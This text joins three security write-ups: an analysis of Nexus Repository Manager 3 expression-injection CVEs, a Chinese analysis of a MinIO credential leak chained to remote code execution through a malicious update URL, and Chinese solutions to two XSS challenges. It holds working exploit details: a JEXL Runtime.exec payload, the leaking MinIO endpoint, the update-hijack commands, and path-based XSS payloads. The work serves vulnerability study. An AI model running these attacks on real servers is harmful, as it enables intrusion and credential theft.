previous [CVE-2019-7238](https://support.sonatype.com/hc/en-us/articles/360017310793-CVE-2019-7238-Nexus-Repository-Manager-3-Missing-Access -Controls-and-Remote-Code-Execution-2019-02-05), this is a jexl
expression parsing, I will analyze it together here, explain the repair
problems to it. I have seen some analysis before, the article said that this
vulnerability was fixed by adding a permission. Maybe it was really only a
permission at that time, but the newer version I tested, adding the permission
seems useless. In the high version of Nexus3, the sandbox of jexl whitelist
has been used.
#### Test Environment
Three Nexus3 environments will be used in this article:
* nexus-3.14.0-04
* nexus-3.21.1-01
* nexus-3.21.2-03
nexus-3.14.0-04 is used to test jexl expression parsing, nexus-3.21.1-01 is
used to test jexl expression parsing and el expression parsing and diff,
nexus-3.21.2-03 is used to test el expression Analysis and diff.
#### Vulnerability diff
The repair limit of CVE-2020-10199 and CVE-2020-10204 vulnerabilities is
3.21.1 and 3.21.2, but the github open source code branch does not seem to
correspond, so I have to download the compressed package for comparison. The
official download of nexus-3.21.1-01 and nexus-3.21.2-03, but beyond
comparison requires the same directory name, the same file name, and some
files for different versions of the code are not the same. I first decompiled
all the jar packages in the corresponding directory, and then used a script to
replace all the files in nexus-3.21.1-01 directory and the file name with
3.21.1-01 to 3.21.2-03, and deleted the META folder, this folder is not useful
for the vulnerability diff and affects the diff analysis, so it has been
deleted. The following is the effect after processing:
If you have not debugged and familiar with the previous Nexus 3
vulnerabilities, it may be headache to look at diff. There is no target diff.
#### Routing and corresponding processing class
##### General routing
Grab the packet sent by nexus3, random, you can see that most requests are
POST type, URI is /service/extdirect:
The content of the post is as follows:
{"action":"coreui_Repository","method":"getBrowseableFormats","data":null,"type":"rpc","tid":7}
We can look at other requests. In post json, there are two keys: action and
method. Search for the keyword "coreui_Repository" in the code:
We can see this, expand and look at the code:
The action is injected through annotations, and the method
"getBrowseableFormats" in the post above is also included, the corresponding
method is injected through annotations:
So after such a request,It is very easy to locate routing and corresponding
processing class.
##### API routing
The Nexus3 API also has a vulnerability. Let's see how to locate the API
route. In the admin web page, we can see all the APIs provided by Nexus3:
look at the package, there are GET, POST, DELETE, PUT and other types of
requests:
Without the previous action and method, we use URI to locate it, but direct
search of /service/rest/beta/security/content-selectors cannot be located, so
shorten the keyword and use /beta/security/content-selectors to locate:
Inject URI through @Path annotation, the corresponding processing method also
uses the corresponding @GET, @POST to annotate.
There are may be other types of routing, but you can also use a similar search
method to locate. There is also the permission problem of Nexus. You can see
that some of the above requests set the permissions through
@RequiresPermissions, but the actual test permissions are still prevailing.
Some permissions are also verified before arrival. Some operations are on the
admin page, but it may not require admin permissions, may be no need
permissions or only ordinary permissions.
#### Several Java EL vulnerabilities caused by
buildConstraintViolationWithTemplate
After debugging [CVE-2018-16621](https://support.sonatype.com/hc/en-us/articles/360010789153-CVE-2018-16621-Nexus-Repository-Manager-Java-Injection- October-17-2018) and
[CVE-2020-10204](https://support.sonatype.com/hc/en-us/articles/360044356194-CVE-2020-10204-Nexus-Repository-Manager-3- Remote-Code-Execution-2020-03-31), I feel that the keyword
`buildConstraintViolationWithTemplate` can be used as the root cause of this
vulnerability, because the call stack shows that the function call is on the
boundary between the Nexus package and the hibernate-validator package, and
the pop-up of the calculator is also after it enters the processing flow of
hibernate-validator, that is, `buildConstraintViolationWithTemplate (xxx)
.addConstraintViolation ()`, and finally expressed in the ElTermResolver class
in the hibernate-validator package through `valueExpression.getValue
(context)` :
So I decompile all jar packages of Nexus3, and then search for this keyword
(use the repair version search, mainly to see if there are any missing areas
that are not repaired; Nexue3 has some open source code, you can also search
directly in the source code):
F:\compare-file\nexus-3.21.2-03-win64\nexus-3.21.2-03\system\com\sonatype\nexus\plugins\nexus-healthcheck-base\3.21.2-03\nexus-healthcheck-base-3.21.2-03\com\sonatype\nexus\clm\validator\ClmAuthenticationValidator.java:
26 return this.validate(ClmAuthenticationType.valueOf(iqConnectionXo.getAuthenticationType(), ClmAuthenticationType.USER), iqConnectionXo.getUsername(), iqConnectionXo.getPassword(), context);
27 } else {
28: context.buildConstraintViolationWithTemplate("unsupported annotated object " + value).addConstraintViolation();
29 return false;
30 }
..
35 case 1:
36 if (StringUtils.isBlank(username)) {
37: context.buildConstraintViolationWithTemplate("User Authentication method requires the username to be set.").addPropertyNode("username").addConstraintViolation();
38 }
39
40 if (StringUtils.isBlank(password)) {
41: context.buildConstraintViolationWithTemplate("User Authentication method requires the password to be set.").addPropertyNode("password").addConstraintViolation();
42 }
43
..
52 }
53
54: context.buildConstraintViolationWithTemplate("To proceed with PKI Authentication, clear the username and password fields. Otherwise, please select User Authentication.").addPropertyNode("authenticationType").addConstraintViolation();
55 return false;
56 default:
57: context.buildConstraintViolationWithTemplate("unsupported authentication type " + authenticationType).addConstraintViolation();
58 return false;
59 }
F:\compare-file\nexus-3.21.2-03-win64\nexus-3.21.2-03\system\org\hibernate\validator\hibernate-validator\6.1.0.Final\hibernate-validator-6.1.0.Final\org\hibernate\validator\internal\constraintvalidators\hv\ScriptAssertValidator.java:
34 if (!validationResult && !this.reportOn.isEmpty()) {
35 constraintValidatorContext.disableDefaultConstraintViolation();
36: constraintValidatorContext.buildConstraintViolationWithTemplate(this.message).addPropertyNode(this.reportOn).addConstraintViolation();
37 }
38
F:\compare-file\nexus-3.21.2-03-win64\nexus-3.21.2-03\system\org\hibernate\validator\hibernate-validator\6.1.0.Final\hibernate-validator-6.1.0.Final\org\hibernate\validator\internal\engine\constraintvalidation\ConstraintValidatorContextImpl.java:
55 }
56
57: public ConstraintViolationBuilder buildConstraintViolationWithTemplate(String messageTemplate) {
58 return new ConstraintValidatorContextImpl.ConstraintViolationBuilderImpl(messageTemplate, this.getCopyOfBasePath());
59 }
F:\compare-file\nexus-3.21.2-03-win64\nexus-3.21.2-03\system\org\sonatype\nexus\nexus-cleanup\3.21.0-02\nexus-cleanup-3.21.0-02\org\sonatype\nexus\cleanup\storage\config\CleanupPolicyAssetNamePatternValidator.java:
18 } catch (RegexCriteriaValidator.InvalidExpressionException var4) {
19 context.disableDefaultConstraintViolation();
20: context.buildConstraintViolationWithTemplate(var4.getMessage()).addConstraintViolation();
21 return false;
22 }
F:\compare-file\nexus-3.21.2-03-win64\nexus-3.21.2-03\system\org\sonatype\nexus\nexus-cleanup\3.21.2-03\nexus-cleanup-3.21.2-03\org\sonatype\nexus\cleanup\storage\config\CleanupPolicyAssetNamePatternValidator.java:
18 } catch (RegexCriteriaValidator.InvalidExpressionException var4) {
19 context.disableDefaultConstraintViolation();
20: context.buildConstraintViolationWithTemplate(this.getEscapeHelper().stripJavaEl(var4.getMessage())).addConstraintViolation();
21 return false;
22 }
F:\compare-file\nexus-3.21.2-03-win64\nexus-3.21.2-03\system\org\sonatype\nexus\nexus-scheduling\3.21.2-03\nexus-scheduling-3.21.2-03\org\sonatype\nexus\scheduling\constraints\CronExpressionValidator.java:
29 } catch (IllegalArgumentException var4) {
30 context.disableDefaultConstraintViolation();
31: context.buildConstraintViolationWithTemplate(this.getEscapeHelper().stripJavaEl(var4.getMessage())).addConstraintViolation();
32 return false;
33 }
F:\compare-file\nexus-3.21.2-03-win64\nexus-3.21.2-03\system\org\sonatype\nexus\nexus-security\3.21.2-03\nexus-security-3.21.2-03\org\sonatype\nexus\security\privilege\PrivilegesExistValidator.java:
42 if (!privilegeId.matches("^[a-zA-Z0-9\\-]{1}[a-zA-Z0-9_\\-\\.]*$")) {
43 context.disableDefaultConstraintViolation();
44: context.buildConstraintViolationWithTemplate("Invalid privilege id: " + this.getEscapeHelper().stripJavaEl(privilegeId) + ". " + "Only letters, digits, underscores(_), hyphens(-), and dots(.) are allowed and may not start with underscore or dot.").addConstraintViolation();
45 return false;
46 }
..
55 } else {
56 context.disableDefaultConstraintViolation();
57: context.buildConstraintViolationWithTemplate("Missing privileges: " + missing).addConstraintViolation();
58 return false;
59 }
F:\compare-file\nexus-3.21.2-03-win64\nexus-3.21.2-03\system\org\sonatype\nexus\nexus-security\3.21.2-03\nexus-security-3.21.2-03\org\sonatype\nexus\security\role\RoleNotContainSelfValidator.java:
49 if (this.containsRole(id, roleId, processedRoleIds)) {
50 context.disableDefaultConstraintViolation();
51: context.buildConstraintViolationWithTemplate(this.message).addConstraintViolation();
52 return false;
53 }
F:\compare-file\nexus-3.21.2-03-win64\nexus-3.21.2-03\system\org\sonatype\nexus\nexus-security\3.21.2-03\nexus-security-3.21.2-03\org\sonatype\nexus\security\role\RolesExistValidator.java:
42 } else {
43 context.disableDefaultConstraintViolation();
44: context.buildConstraintViolationWithTemplate("Missing roles: " + missing).addConstraintViolation();
45 return false;
46 }
F:\compare-file\nexus-3.21.2-03-win64\nexus-3.21.2-03\system\org\sonatype\nexus\nexus-validation\3.21.2-03\nexus-validation-3.21.2-03\org\sonatype\nexus\validation\ConstraintViolationFactory.java:
75 public boolean isValid(ConstraintViolationFactory.HelperBean bean, ConstraintValidatorContext context) {
76 context.disableDefaultConstraintViolation();
77: ConstraintViolationBuilder builder = context.buildConstraintViolationWithTemplate(this.getEscapeHelper().stripJavaEl(bean.getMessage()));
78 NodeBuilderCustomizableContext nodeBuilder = null;
79 String[] var8;
Later I saw the [Vulnerability
Analysis](https://github.com/Cryin/Paper/blob/master/CVE-2018-16621%20Nexus%20Repository%20Manager3%20%E4%BB%BB%E6%84%8FEL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5.md)
published by the author, indeed used `buildConstraintViolationWithTemplate` as
the source of the vulnerability , use this key point to do tracking analysis.
As can be seen from the search results above, the three CVE key points caused
by the el expression are also among them, and there are several other places,
a few used `this.getEscapeHelper().StripJavaEl` , There are a few, it seems
ok, a ecstasy in my heart? However, although several other places that have
not been cleared and can be accessed by routing, they cannot be used. One of
them will be selected for analysis later. So at the beginning, I said that the
official may have fixed several similar places. I guess there are two
possibilities:
* Officials have noticed that there are also el parsing vulnerabilities in those places, so they did a cleanup.
* There are other vulnerability discoverers who submitted the cleared vulnerability points, because those places can be used; but the uncleared places cannot be used, so the discoverers did not submit, and the official did not go do clear
However, I feel that the latter possibility is more likely. After all, it is
unlikely that the official will clear some places, and some places will not do
it.
##### CVE-2018-16621 analysis
This vulnerability corresponds to the above search result is
RolesExistValidator. Since the key point is searched, I will manually reverse
the traceback to see if it can be traced back to the place where there is
routing processing. Here is a simple search traceback.
The key point is isValid in RolesExistValidator, which calls
buildConstraintViolationWithTemplate. Search if there is a place to call
RolesExistValidator:
There is a call in RolesExist, this way of writing will generally use
RolesExist as a comment, and will call `RolesExistValidator.isValid ()` during
verification. Continue to search for RolesExist:
There are several places that directly use RolesExist to annotate the roles
attribute. We can go back one by one, but according to the Role keyword,
RoleXO is more likely, so look at this (UserXO is also), continue to search
for RoleXO:
There may be some other disturbances, such as the first red label
RoleXOResponse, this can be ignored, we find the place to use RoleXO directly.
In RoleComponent, if you see the second red annotation, you probably know that
you can enter the route here. The third red annotation uses roleXO and has the
roles keyword. RolesExist also annotates roles above, so the guess is
attribute injection to roleXO. The decompiled code in some places is not easy
to understand, you can look at the source code:
It can be seen that the submitted parameters are injected into roleXO, and the
route corresponding to RoleComponent is as follows:
Through the above analysis, we probably know that we can enter the final
RolesExistValidator, but there are may be many conditions to be met in the
middle, we need to construct the payload and then measure it step by step. The
location of the web page corresponding to this route is as follows:
Test (the 3.21.1 version used here, CVE-2018-16621 is the previous
vulnerability, which was fixed earlier in 3.21.1, but 3.21.1 was bypassed
again, so the following is the bypass situation, will`$`Is replaced with`$ \\
x` to bypass):
Repair method:
Added `getEscapeHelper (). StripJavaEL` to clear the el expression,
replacing`$ {`with`{`, the next two CVEs are bypassing this fix:
##### CVE-2020-10204 analysis
This is the bypass of the previous stripJavaEL repair mentioned above, and it
will not be analyzed here. The use of the `$\\x{` format will not be replaced
(tested with version 3.21.1):
##### CVE-2020-10199 analysis
This vulnerability corresponds to ConstraintViolationFactory in the search
results above:
buildConstraintViolationWith (label 1) appears in the isValid of
HelperValidator class (label 2), HelperValidator is annotated on
HelperAnnotation (label 3, 4), HelperAnnotation is annotated on HelperBean
(label 5), on `ConstraintViolationFactory.createViolation` HelperBean (labels
6, 7) is used in the method. Follow this idea to find the place where
`ConstraintViolationFactory.createViolation` is called.
Let's also go back to the manual reverse trace to see if we can trace back to
where there is routing.
Search ConstraintViolationFactory:
There are several, here uses the first BowerGroupRepositoriesApiResource
analysis, click to see that we can see that it is an API route:
ConstraintViolationFactory was passed to super, and other functions of
ConstraintViolationFactory were not called in
BowerGroupRepositoriesApiResource, but its two methods also called super
corresponding methods. Its super is AbstractGroupRepositoriesApiResource
class:
The super called in the BowerGroupRepositoriesApiResource constructor assigns
ConstraintViolationFactory (label 1) in AbstractGroupRepositoriesApiResource,
the use of ConstraintViolationFactory (label 2), and calls createViolation (we
can see the memberNames parameter), which is needed to reach the vulnerability
point. This call is in validateGroupMembers (label 3). The call to
validateGroupMembers is called in both createRepository (label 4) and
updateRepository (label 5), and these two methods can also be seen from the
above annotations that they are routing methods.
The route of BowerGroupRepositoriesApiResource is
/beta/repositories/bower/group, find it in the admin page APIs to make a call
(use 3.21.1 test):
Several other subclasses of AbstractGroupRepositoriesApiResource are the same:
##### CleanupPolicyAssetNamePatternValidator does not do cleanup point
analysis
Corresponding to the CleanupPolicyAssetNamePatternValidator in the search
results above, we can see that there is no StripEL removal operation here:
This variable is thrown into buildConstraintViolationWithTemplate through an
error report. If the error message contains the value, then it can be used
here.
Search CleanupPolicyAssetNamePatternValidator:
Used in CleanupPolicyAssetNamePattern class annotation, continue to search for
CleanupPolicyAssetNamePattern:
The attribute regex in CleanupPolicyCriteria is annotated by
CleanupPolicyAssetNamePattern, and continue to search for
CleanupPolicyCriteria:
Called in the toCleanupPolicy method in CleanupPolicyComponent, where
`cleanupPolicyXO.getCriteria` also happens to be CleanupPolicyCriteria object.
toCleanupPolicy calls toCleanupPolicy in the createup and previewCleanup
methods of the CleanupPolicyComponent that can be accessed through routing.
Construct the payload test:
However, it cannot be used here, and the value value will not be included in
the error message. After reading RegexCriteriaValidator.validate, no matter
how it is constructed, it will only throw a character in the value, so it
cannot be used here.
Similar to this is the CronExpressionValidator, which also throws an exception
there, it can be used, but it has been fixed, and someone may have submitted
it before. There are several other places that have not been cleared,but
either skipped by if or else, or cannot be used.
The way of manual backtracking search may be okay if there are not many places
where the keyword is called, but if it is used a lot, it may not be so easy to
deal with. However, for the above vulnerabilities, we can see that it is still
feasible to search through manual backtracking.
#### Vulnerabilities caused by JXEL (CVE-2019-7238)
we can refer to @iswin's previous analysis
<https://www.anquanke.com/post/id/171116>, here is no longer going Debugging
screenshots. Here I want to write down the previous fix for this
vulnerability, saying that it was added with permission to fix it. If only the
permission is added, can it still be submitted? However, after testing version
3.21.1, even with admin permissions can not be used, I want to see if it can
be bypassed. Tested in 3.14.0, it is indeed possible:
But in 3.21.1, even if the authority is added, it will not work. Later, I
debug and compare separately, and pass the following test:
JexlEngine jexl = new JexlBuilder().create();
String jexlExp = "''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')";
JexlExpression e = jexl.createExpression(jexlExp);
JexlContext jc = new MapContext();
jc.set("foo", "aaa");
e.evaluate(jc);
I learned that 3.14.0 and the above test used
`org.apache.commons.jexl3.internal.introspection.Uberspect` processing, and
its getMethod method is as follows:
In 3.21.1, Nexus is set to
`org.apache.commons.jexl3.internal.introspection.SandboxJexlUberspect`, this
SandboxJexlUberspect, its getMethod method is as follows:
It can be seen that only a limited number of methods of type String, Map, and
Collection are allowed.
#### Conclusion
* After reading the above content, I believe that we have a general understanding of the Nexus3 loopholes, and you will no longer feel that you can't start. Try to look at other places, for example, there is an LDAP in the admin page, which can be used for jndi connect operation, but the `context.getAttribute` is called there. Although the class file will be requested remotely, the class will not be loaded, so there is no harm.
* The root cause of some vulnerabilities may appear in a similar place in an application, just like the keyword `buildConstraintViolationWithTemplate` above, good luck maybe a simple search can encounter some similar vulnerabilities (but my luck looks bad Click, we can see the repair in some places through the above search, indicating that someone has already taken a step forward, directly called `buildConstraintViolationWithTemplate` and the available places seem to be gone)
* Look closely at the payloads of the above vulnerabilities, it seems that the similarity is very high, so we can get a tool similar to fuzz parameters to collect the historical vulnerability payload of this application, each parameter can test the corresponding payload, good luck may be Hit some similar vulnerabilities.
* * * | 社区文章 |
# 简介
Minio
是一个基于Go语言的对象存储服务。它实现了大部分亚马逊S3云存储服务接口，可以看做是是S3的开源版本，非常适合于存储大容量非结构化的数据，例如图片、视频、日志文件、备份数据和容器/虚拟机镜像等。MinIO
verify接口存在敏感信息泄漏漏洞，攻击者通过构造特殊URL地址，读取系统敏感信息。
# 漏洞利用方式
版本号检测：
1.http请求：GET /api/v1/check-version
2.HTTP响应版本小于RELEASE.2023-03-20T20-16-18Z则存在漏洞。
信息泄漏：
POST /minio/bootstrap/v1/verify HTTP/1.1
RCE思路：
利用泄露的账号密码和MinIO客户端登录并设置MinIO的升级访问URL，因为MinIO对于升级包的sha256sum校验失效，所以能够有损的RCE。
1.设置升级url：mc alias set myminio http://ip:9000 user_R3s3arcm pwd_R3s3arcm
2.触发更新：mc admin update myminio -y
# 漏洞分析
我先访问到main.go,主函数代码主要指向“minio "github.com/minio/minio/cmd"”
说明Minio启动之后大部分逻辑都会在cmd这个目录中，可能会包含路由规则。
# https://github.com/minio/minio/blob/RELEASE.2023-03-13T19-46-17Z/main.go
package main // import "github.com/minio/minio"
import (
"os"
// MUST be first import.
_ "github.com/minio/minio/internal/init"
minio "github.com/minio/minio/cmd"
)
func main() {
minio.Main(os.Args)
}
接下来，我看到routers.go的第75行包含路由注册，通过信息泄漏的载荷之中“bootstrap”字段结合路由注册代码，进行跟踪。
# https://github.com/minio/minio/blob/RELEASE.2023-03-13T19-46-17Z/cmd/routers.go line 75
func configureServerHandler(endpointServerPools EndpointServerPools) (http.Handler, error) {
// Initialize router. `SkipClean(true)` stops minio/mux from
// normalizing URL path minio/minio#3256
router := mux.NewRouter().SkipClean(true).UseEncodedPath()
// Initialize distributed NS lock.
if globalIsDistErasure {
registerDistErasureRouters(router, endpointServerPools)
}
// Add Admin router, all APIs are enabled in server mode.
registerAdminRouter(router, true)
// Add healthcheck router
registerHealthCheckRouter(router)
// Add server metrics router
registerMetricsRouter(router)
// Add STS router always.
registerSTSRouter(router)
// Add KMS router
registerKMSRouter(router)
// Add API router
registerAPIRouter(router)
router.Use(globalHandlers...)
return router, nil
}
紧接着，我找到bootstrap-peer-server.go，这个文件作为后续的代码逻辑。
https://github.com/minio/minio/blob/RELEASE.2023-03-13T19-46-17Z/cmd/bootstrap-peer-server.go line 38
const (
bootstrapRESTVersion = "v1"
bootstrapRESTVersionPrefix = SlashSeparator + bootstrapRESTVersion
bootstrapRESTPrefix = minioReservedBucketPath + "/bootstrap"
bootstrapRESTPath = bootstrapRESTPrefix + bootstrapRESTVersionPrefix
)
在新逻辑中首先找到接收HTTP请求的函数，分别在第130行与第132行。通过代码逻辑来看，getServerSystemCfg应该作为接受参数之后
# https://github.com/minio/minio/blob/RELEASE.2023-03-13T19-46-17Z/cmd/bootstrap-peer-server.go line 130
// HealthHandler returns success if request is valid
func (b *bootstrapRESTServer) HealthHandler(w http.ResponseWriter, r *http.Request) {}
# https://github.com/minio/minio/blob/RELEASE.2023-03-13T19-46-17Z/cmd/bootstrap-peer-server.go line 132
func (b *bootstrapRESTServer) VerifyHandler(w http.ResponseWriter, r *http.Request) {
ctx := newContext(r, w, "VerifyHandler")
cfg := getServerSystemCfg()
logger.LogIf(ctx, json.NewEncoder(w).Encode(&cfg))
}
继续查看getServerSystemCfg做了什么？主要获取的环境变量skipEnvs[envK]。
# https://github.com/minio/minio/blob/RELEASE.2023-03-13T19-46-17Z/cmd/bootstrap-peer-server.go line 110
func getServerSystemCfg() ServerSystemConfig {
envs := env.List("MINIO_")
envValues := make(map[string]string, len(envs))
for _, envK := range envs {
// skip certain environment variables as part
// of the whitelist and could be configured
// differently on each nodes, update skipEnvs()
// map if there are such environment values
if _, ok := skipEnvs[envK]; ok {
continue
}
envValues[envK] = env.Get(envK, "")
}
return ServerSystemConfig{
MinioEndpoints: globalEndpoints,
MinioEnv: envValues,
}
}
skipEnvs[envK]是什么呢？skipEnvs[envK]包含环境变量信息。根据官方说明，MinIO在启动时会从环境变量中读取预先设置的用户和密码，默认情况下：minioadmin/minioadmin。
# https://github.com/minio/minio/blob/RELEASE.2023-03-13T19-46-17Z/cmd/bootstrap-peer-server.go line 103
var skipEnvs = map[string]struct{}{
"MINIO_OPTS": {},
"MINIO_CERT_PASSWD": {},
"MINIO_SERVER_DEBUG": {},
"MINIO_DSYNC_TRACE": {},
}
我简单搜索了下MinIO项目，预先设置密码的情况还是比较严重。例如decom.sh等。
# https://github.com/minio/minio/blob/fb1492f5317bddb263092b69218c5a2c23025d19/docs/distributed/decom.sh line 23
export MC_HOST_myminio="http://minioadmin:minioadmin@localhost:9000/"
./mc admin user add myminio/ minio123 minio123
./mc admin user add myminio/ minio12345 minio12345
./mc admin policy create myminio/ rw ./docs/distributed/rw.json
./mc admin policy create myminio/ lake ./docs/distributed/rw.json
./mc admin policy attach myminio/ rw --user=minio123
./mc admin policy attach myminio/ lake,rw --user=minio12345
当通过信息泄漏获得账号密码之后，可以登陆MinIO更新恶意升级URL，并且执行update触发RCE。
MinIO对于更新包进行了sha256sum，但是由于envMinisignPubKey为空，所以sha256sum失效了。
# https://github.com/minio/minio/blob/RELEASE.2023-03-13T19-46-17Z/cmd/update.go line 541
minisignPubkey := env.Get(envMinisignPubKey, "")
if minisignPubkey != "" {
v := selfupdate.NewVerifier()
u.Path = path.Dir(u.Path) + slashSeparator + releaseInfo + ".minisig"
if err = v.LoadFromURL(u.String(), minisignPubkey, transport); err != nil {
return AdminError{
Code: AdminUpdateApplyFailure,
Message: fmt.Sprintf("signature loading failed for %v with %v", u, err),
StatusCode: http.StatusInternalServerError,
}
}
opts.Verifier = v
}
我反向跟踪 verifyBinary方法，找到Update的HTTP入口，其中就包含了调用sha256sum校验。
# https://github.com/minio/minio/blob/6017b63a0612daa0ab9ef87804a57b899766bb9c/cmd/admin-handlers.go line 77
// ServerUpdateHandler - POST /minio/admin/v3/update?updateURL={updateURL}
// ---------- // updates all minio servers and restarts them gracefully.
# https://github.com/minio/minio/blob/6017b63a0612daa0ab9ef87804a57b899766bb9c/cmd/admin-handlers.go line 157
for _, nerr := range globalNotificationSys.VerifyBinary(ctx, u, sha256Sum, releaseInfo, reader) {
if nerr.Err != nil {
err := AdminError{
Code: AdminUpdateApplyFailure,
Message: nerr.Err.Error(),
StatusCode: http.StatusInternalServerError,
}
logger.GetReqInfo(ctx).SetTags("peerAddress", nerr.Host.String())
logger.LogIf(ctx, fmt.Errorf("server update failed with %w", err))
writeErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, err), r.URL)
return
}
}
err = verifyBinary(u, sha256Sum, releaseInfo, mode, reader)
# 总结
文中分析了Minio从信息泄露到RCE漏洞整条链路，内容较为浅显，不对之处希望师傅们斧正。 | 社区文章 |
**前 言**
之前发表了《一些BAT的XSS实例》系列五篇技术文章：《一些BAT的XSS实例（一）基础篇》《一些BAT的XSS实例（二）进阶篇》《一些BAT的XSS实例（三）中级篇》《一些BAT的XSS实例（四）高级篇》《一些BAT的XSS实例（五）最终篇》
很多朋友表示看得意犹未尽，问我还有没有续集。刚好最近有朋友发了我一个twitter上某大神出的题，我看了看感觉很有意思，所以改了下细节出了两道题来作为该系列的续集，进行下思路的分享。
先把设计的2个题目发出来
http://px1624.sinaapp.com/test/xsstest11/
http://px1624.sinaapp.com/test/xsstest12/
有兴趣的朋友，可以先不看文章，自己尝试的做一做题目，有答案的话可以发到我的邮箱
[email protected]并附上自己的ID，说不定下篇文章里面就会有你的绕过思路被收录了额。
**首先是11题，先看下源码。**
可以看到这道题的源码特别的简单，可能很多人对 location.pathname 不太熟悉，这个没关系，我们可以去翻下手册看看。 可以参考以下链接：
https://www.runoob.com/jsref/prop-loc-pathname.htmlhttps://developer.mozilla.org/zh-CN/docs/Web/API/Location/pathname
也就是说，这个location.pathname就是返回的url中domain后面的那部分路径。
这里肯定有人想，那很简单了，我直接在location.hash中写入xss代码，然后eval执行不就可以了么。不过仔细看就会发现，其实location.pathname
返回的是路径，既然是路径，那么肯定是不包含location.hash、location.search这些数据的。
既然这样不行，那么就只能是在URL路径里去构造了，但是测试后就会发现，只要你添加了数据，就会404无法访问。
原因很简单，因为不存在当前的目录，所以就会访问失败。所以这里我们的思路就是一定要让这个路径是合法的。
http://px1624.sinaapp.com/test/xsstest11/1111111111/../
所以需要向上面这种思路去构造，这样目录问题就合规了。
但是测试发现，这么写的话，URL中目录解析的优先级是比较高的，所以这么写去访问的话，会先进行目录解析，然后执行的还是之前的那个目录。
访问URL就会默认解析回去到/test/xsstest11/目录，这样的话，就还是不能写入任何字符进去，断点调试也可以证明这点。
所以有没有什么情况，解析的时候这个目录不是优先解析的呢？这里就要引出这道题的最关键的点了。那就是nginx对%2f的解析特性。
这个具体资料可以参考下面链接：
http://blog.phpdr.net/nginx-auto-decode.htmlhttps://stackoverflow.com/questions/8264239/nginx-unescapes-2f-to-a-forward-slash-how-can-i-stop-it
可以看到
nginx会自动把%2f解析成/ 斜线， 但是IIS和apache就不会
所以这个题就是考的这个特性（知识点），如果不知道这点（或者知道但是没有想到）的话，这个题基本上是做不出来的。
然后看看这个URL是不是nginx，方法很多，抓包其实就可以看到。
这样我们继续前面的思路。
http://px1624.sinaapp.com/test/xsstest11/1111111111/../ 用%2f代替后面的2个/ 符号 http://px1624.sinaapp.com/test/xsstest11/1111111111%2f..%2f
这时候再去访问，发现URL已经不会提前将其解析到/test/xsstest11/目录了，断点可以看到，已经成功写入了相关字符进去了。
下面只需要eval的时候javascript的语法OK就行了，就目前的情况看，语法是有明显错误的。这明显是不满足javascript语法的，所以我们需要构造一个满足条件的语法。
这里就是考验我们，如何去巧妙的利用 / 斜线符号，使得js语法完整，我们直接能想到3个最常见的思路。
思路1： //构造js注释 /*另一种js注释*/
思路2： /正则表达式/
思路3： 6/3 将斜线/作为除号去使用
我这里直接给出其中一种构造思路，利用js注释和正则表达式进行构造。 /*/..%2ftest/xsstest11/*/alert(11);/..%2f../
http://px1624.sinaapp.com/*/..%2ftest/xsstest11/*/alert(11);/..%2f../
为什么这样就可以了呢？ 这里我大概给解释下吧。
首先 /*/..%2ftest/xsstest11/*/alert(11);/..%2f../这个目录要是存在的。 /*/..%2ftest/xsstest11/*/alert(11);/..%2f../目录，把%2f改成 / 斜线符号，
也就是 /*/../test/xsstest11/*/alert(11);/../../
然后 ../ 代表的是上级目录，所以这一堆目录跳来跳去，实际就是等于 /test/xsstest11/ 目录，这是一个真实存在的目录，所以不会404无法访问。 接着就是要满足javascript语法没问题。
/*/..%2ftest/xsstest11/*/alert(11);/..%2f../ 在javascript解析的时候， /*/..%2ftest/xsstest11/*/ 这一部分是被注释掉的，所以等于是 alert(11);/..%2f../
然后alert(11) 会被解析弹窗，后面的 /..%2f../ 会以一个正则表达式的形式进行返回。
如下图，这样看着更直观。
**如果上面内容都消化掉了，下面接着再看看第12题，先看下源码。**
可以看到，其实和第11题的源码是差不多的，但是多了个if的判断。测试后你就会发现，第11题的方法不能用了。
如果直接 /*/..%2ftest/xsstest12/*/alert(12);/..%2f../ 这样去套用的话，会发现是不行的，因为这个if过不了。
由于这里长度的限制，你会发现当前路径的前面基本上是写不了任何东西的了，不然这个if判断就不能成立。
所以需要思考其他构造的思路。
首先我们先把正确的路径构造出来，如下
http://px1624.sinaapp.com/test/xsstest12/alert(12)/..%2f
当然，上面提到过，这种情况下
/test/xsstest12/alert(12)/..%2f
这部分由于不符合javascript语法，肯定是会报错的。
所以需要对其进行构造，先将其进行拆解，构造如下
/test//xsstest12/alert(12)/..%2f
对比上面你会发现，就是加了1个 / 斜线的符号进去，这样做的目的是，/test/这是一个正则表达式，然后这样就可以把后面的 / 都作为除法运算符去处理。
所以前面的这些路径的语法就没有问题了，但是存在一个问题，就是后面这里有小数点，所以还是会语法错误。
所以需要继续进行构造 理论上来说，把后面的部分直接注释掉应该就可以了，像这样
/test//xsstest12/alert(12)//..%2f
但是测试发现，SAE在对于路径中有//的解析是有些不同的，因为这个payload我在本地搭建的环境，测试是没问题，但是在SAE中就不行，会因为解析不到目录从而404
测试后发现，在SAE中后面这个//还是会被解析成一个目录的路径，所以必须要再向上跳一层目录，也就是
/test//xsstest12/alert(12)//..%2f..%2f
好了，这样目录和语法问题就都OK了，不过又报错了xsstest12参数没定义，因为这个xsstest12在javascript的语法里，是以变量的形式存在的，所以需要去定义下。
所以构造如下
/test//xsstest12/alert(12);var xsstest12=1//..%2f..%2f
直接定义是肯定不行的，因为浏览器会将空格进行URL编码，然后这里js解析的时候，有了百分号就会语法错误。
这里我们可以用/**/代替空格，
所以就是/test//xsstest12/alert(12);var/**/xsstest12=1//..%2f..%2f
但是替换了之后，等于这里又多增加了2个目录进去，所以后面也需要再加两个 .. %2f 进去，
也就是 /test//xsstest12/alert(12);var/**/xsstest12=1//..%2f..%2f..%2f..%2f
试试最终的效果
http://px1624.sinaapp.com/test//xsstest12/alert(12);var/**/xsstest12=1//..%2f..%2f..%2f..%2f
由于12题是11题的升级版，所以这个payload同样也是适用于11题的。
**总 结**
通过这2个案例可以看到，在我们的解法思路中，用到了nginx的解析特性、浏览器中目录的解析规则、javascript的注释语句、运算符、正则表达式等知识。以及用到了断点调试、控制台分析、本地代码映射等方法。
可以看到，其实这里并没有什么奇淫的技巧，或者特殊的bypass姿势之类的东西，所用到的都是一些前端基础知识，配合一些基本调试方法而已。
所以我觉得，大家在绕过XSS的时候，主要还是思路要对，同时基础知识要过硬，这样才能在XSS漏洞这方面做到“人挡杀人，佛挡杀佛”的操作。
